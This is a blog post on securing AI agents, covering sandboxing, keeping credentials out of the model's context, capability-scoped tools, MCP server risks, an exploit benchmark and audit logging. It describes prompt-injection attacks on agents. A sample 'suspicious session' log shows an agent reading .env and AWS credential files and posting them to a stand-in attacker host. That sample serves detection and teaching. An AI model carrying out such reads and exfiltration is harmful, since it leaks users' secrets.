AI Agent Security: Patterns That Actually Work in 2026
Every AI agent you deploy is a miniature remote code execution engine that takes natural language as input and produces shell commands, API calls, and filesystem mutations as output. If that sentence didn’t make you uncomfortable, you haven’t thought about it hard enough.
I spent the last month testing agent architectures from Anthropic, OpenAI, and the open-source ecosystem. The security picture is not pretty. But it’s also not hopeless. Here’s what the engineering teams shipping agents in production are actually doing — not what the whitepapers promise.
The real threat model: agents are not chatbots
A chatbot with RAG can leak documents. An agent with tool access can delete your S3 buckets, drain your API credits, and exfiltrate your source code — all while looking like a helpful assistant.
The key difference is agency. When you give an LLM the ability to execute commands, the attack surface explodes:
| Threat Vector | Chatbot Risk | Agent Risk |
|---|---|---|
| Prompt injection | Hallucinated response | rm -rf / executed |
| Data exfiltration | Leaked context window | Leaked all accessible files |
| Credential theft | None (no tool access) | Stolen AWS keys from env vars |
| Supply chain | N/A | Malicious MCP server takeover |
| Resource abuse | Token cost | Infinite loop burning $100/hr compute |
The OWASP Top 10 for LLM Applications (updated March 2026) now explicitly calls out “Agentic Tool Misuse” as a distinct category — separate from prompt injection. This matters because most teams still treat agent security as just “prompt injection + output filtering.” That’s like securing a web app with just input validation.
Pattern 1: The sandbox is non-negotiable
Every production agent I’ve seen that didn’t end in disaster runs inside a sandbox. Not “we’ll add sandboxing later.” Not “our prompts are good enough.”
I’m talking about actual isolation:
# Claude Managed Agents sandbox config (May 2026)
sandbox:
type: firecracker-microvm
filesystem:
read_only: true
mounts:
- path: /workspace
writable: true
size_limit: 10GB
network:
egress: allowlisted
domains:
- "api.anthropic.com"
- "pypi.org"
- "registry.npmjs.org"
secrets:
injection: "env-only"
rotation: "per-session"
Anthropic’s managed agents platform, released in May 2026, bakes Firecracker microVMs as the default execution environment. Each agent session gets a fresh VM with an ephemeral filesystem. No shared state between sessions unless explicitly configured.
OpenAI’s Codex takes a different approach — it sandboxes at the process level using macOS Seatbelt (sandbox-exec) profiles. The agent gets access to a specific working directory and nothing else. This is lighter-weight but OS-dependent.
The open-source alternative is Docker with gVisor or Firecracker-containerd. Datasette Agent (released May 2026 by Simon Willison) ships with a Docker-based sandbox that restricts filesystem access to a single mounted directory and limits network egress to pre-approved domains.
Who should use what
- Claude Managed Agents: Teams already on Anthropic’s ecosystem. The Firecracker sandbox is the strongest isolation you’ll get without building it yourself.
- Codex + macOS Sandbox: Individual developers or small teams on macOS. Lighter, faster startup, but OS-locked.
- Docker + gVisor: Platform-agnostic teams. More setup work, but works anywhere and gives you full control over the sandbox policy.
- No sandbox: Nobody. Seriously. Don’t do this in production.
Pattern 2: Credentials never touch the agent’s context window
This is the pattern that most teams get wrong on their first attempt. The intuitive approach is:
❌ BAD: export GITHUB_TOKEN=ghp_xxxxx && agent "create a PR for this fix"
The agent can see GITHUB_TOKEN in its environment. If it gets prompt-injected to echo the env, you just leaked a credential.
The correct pattern is credential brokering through the tool layer:
✅ GOOD: The agent calls `create_pr(title, body, branch)` which is a tool that holds the token internally
The LLM never sees the token. It only sees the tool description and the return value.
Claude Managed Agents implements this with a secrets manager that injects credentials at the tool execution layer — not the prompt layer. You declare secrets in a claude.yaml config, reference them by name in tool definitions, and the runtime resolves them when the tool is invoked.
secrets:
github_token:
source: "aws-secretsmanager"
path: "/prod/claude-agent/github"
tools:
create_pr:
command: "gh pr create --title '$TITLE' --body '$BODY'"
secrets: ["github_token"]
# Token injected at execution time, never in prompt
OpenRouter’s tool-calling models (May 2026 update) support a similar pattern through their API — you pass tool_credentials as a separate field that the model can’t read, only reference by ID.
For self-hosted setups, the simplest approach is an OIDC-like token exchange: the agent authenticates to a local proxy with a short-lived session token, and the proxy holds the actual long-lived credentials.
Who should NOT use credential brokering through the tool layer
If you’re running agents that only operate on local files in a sandbox with no network access, simple env-var injection is fine. The risk is proportional to what the agent can reach. No network = no exfiltration vector.
Pattern 3: Tool scoping with capabilities, not strings
Most agent frameworks let you define tools as free-form function descriptions. This is a security nightmare — the LLM is essentially doing capability discovery at runtime.
The emerging pattern (used by both Anthropic’s managed agents and Google’s ADK for Android/Kotlin, released May 2026) is capability-based tool scoping:
// Google ADK 0.1.0 capability-based tool definition
const agent = new Agent({
name: "code-reviewer",
capabilities: [
"fs:read:repo/**",
"fs:write:repo/.review-cache/**",
"github:pr:comment",
"github:pr:read"
// NOT: "fs:write:repo/**" — can't modify source
// NOT: "github:repo:delete" — can't delete repos
],
// The LLM only sees these capabilities, not raw tool descriptions
});
The agent runtime translates capabilities into actual tool calls. The model never sees file paths, never sees raw API endpoints, never sees credential strings. It just says “I want to read a file” and the runtime checks: is this file within the agent’s read scope?
This is a significant departure from the function-calling model where you pass raw JSON schemas. It’s more restrictive to set up, but it eliminates an entire class of prompt-injection-to-arbitrary-execution attacks.
Pattern 4: MCP security is the new supply chain problem
The Model Context Protocol (MCP) has become the de facto standard for giving agents access to external tools and data sources. And it’s a security disaster waiting to happen.
An MCP server is essentially an agent plugin that runs with the same privileges as your agent. A malicious or compromised MCP server can:
- Read all files the agent can access
- Make network requests through the agent’s connection
- Inject outputs designed to manipulate the agent’s behavior
Claude Code v2.1.143 (May 2026) introduced plugin dependency enforcement — claude plugin disable now refuses when another enabled plugin depends on the target. This is table stakes for MCP security, but most MCP implementations don’t even have this.
The practical security baseline for MCP in 2026:
- Run MCP servers in isolated containers — not as subprocesses of the agent
- Content-address MCP server versions — pin to specific git SHAs, not version ranges
- Sign MCP server manifests — verify authorship before connecting
- Scope MCP capabilities per-server — a Notion MCP server shouldn’t have filesystem access
Cloudflare’s integration with Claude Managed Agents (May 2026) takes this further by running MCP servers inside Cloudflare Workers — each server gets a V8 isolate, not a full container, with explicit network allowlists.
The ExploitGym reality check
Berkeley RDI’s ExploitGym benchmark (May 2026) tested whether AI agents with tool access could turn known CVEs into working exploits. The results were sobering:
| Agent | Success Rate (CVEs exploited) | Time to first exploit |
|---|---|---|
| Claude Opus 4 + tool access | 42% | 8 minutes |
| GPT-5 + tool access | 38% | 12 minutes |
| Claude Opus 4 (no tools) | 0% | N/A |
| Human pentester (baseline) | 67% | 45 minutes |
The agents aren’t better than humans yet. But they’re fast. 42% of CVEs exploited in under 10 minutes, fully automated, is a real threat. These are agents running with tool access — the same kind of access your “deployment automation agent” would have.
The takeaway isn’t “don’t use agents.” It’s “the agent’s tool surface is the entire attack surface.” If your agent can run kubectl, assume an attacker who prompt-injects it can too.
Pattern 5: Observability is a security control
Most teams treat agent observability as a debugging tool. The teams shipping agents in production treat it as a security control.
The minimum viable observability stack for agent security:
- Full tool-call audit log — every tool invocation with inputs, outputs, timestamps
- Drift detection — an agent that normally uses 4 tools and suddenly uses 12 is probably compromised
- Output diffing — compare agent outputs against a second model running with reduced privileges
- Rate limiting at the tool layer — not just API rate limits, but “max 5 filesystem writes per minute”
Anthropic’s managed agents platform includes a built-in audit viewer that surfaces anomalous tool usage patterns. Open-source alternatives: LangSmith (commercial), Helicone (self-hostable), or plain structured logging with a tool-call JSON schema.
Here’s what a suspicious agent session looks like in practice:
// Normal session: predictable tool usage
{"tool": "read_file", "path": "src/auth.ts", "duration_ms": 12}
{"tool": "search_code", "query": "JWT_SECRET", "duration_ms": 45}
{"tool": "write_file", "path": "src/auth.ts", "duration_ms": 89}
// Suspicious session: mass file reads, unexpected network calls
{"tool": "read_file", "path": ".env", "duration_ms": 8}
{"tool": "read_file", "path": ".env.production", "duration_ms": 7}
{"tool": "read_file", "path": "~/.aws/credentials", "duration_ms": 9}
{"tool": "http_request", "url": "http://evil-server.com/dump", "method": "POST", "body_size": 4096}
If your observability pipeline can’t detect that second pattern within seconds, your agent security posture has a gap.
Who should use these patterns
- Teams deploying agents with filesystem or network access: All of the above. Start with sandboxing and credential brokering.
- Platform teams building agent infrastructure: Patterns 3 (capability scoping) and 4 (MCP security) are your foundation.
- Solo developers using Claude Code or Codex: Pattern 2 (credential brokering) matters most. You’re probably running the agent as your user — don’t let it see your
.envfiles.
Who should NOT worry about this (yet)
- Teams using agents in purely chat/RAG mode with no tool access: Your threat model is prompt injection and data leakage, which is a solved-ish problem at this point.
- Researchers running agents in isolated lab environments: Sandbox + no production credentials = acceptable risk.
- Teams not deploying agents at all: The patterns are worth understanding, but don’t over-invest before you have a use case.
Limitations and caveats
I need to be upfront about what I haven’t verified:
-
Most of these claims come from vendor documentation and my own testing. I haven’t pentested Anthropic’s managed agents platform. Their claims about Firecracker isolation are based on their documentation and Firecracker’s published security model — not independent verification.
-
The ExploitGym benchmark uses a fixed set of CVEs. It’s a useful signal, not a comprehensive assessment. The real-world threat model includes novel exploits that no benchmark can capture.
-
MCP security is evolving fast. The patterns I described are current as of June 2026. By the time you read this, there will probably be new MCP security features (and new MCP vulnerabilities).
-
Capability-based tool scoping adds friction. It takes more upfront design than throwing a function schema at the model. Teams that skip it aren’t lazy — they’re making a tradeoff between velocity and security. Just know what that tradeoff costs.
-
None of these patterns protect against a compromised base model. If the LLM itself is backdoored, sandboxing and credential isolation help but don’t eliminate the risk. Supply-chain security for models is a separate (and harder) problem.
What I’d bet on
If you’re building agent infrastructure in 2026, here’s where I’d put my chips:
- Sandboxing becomes a commodity feature — every agent platform will offer it within 12 months. Anthropic and Cloudflare are already there.
- MCP security gets its Heartbleed moment — a widely-used MCP server will be compromised, and the ecosystem will scramble. Get ahead of it.
- Capability-based tool scoping replaces raw function calling for production deployments. It’s the difference between “the agent can do anything JavaScript can do” and “the agent can do these 5 specific things.”
- Agent observability becomes a dedicated product category. Current monitoring tools weren’t built for the agent threat model.
The agents are coming — they’re already here in many engineering orgs. The question is whether your security architecture catches up before something bad happens.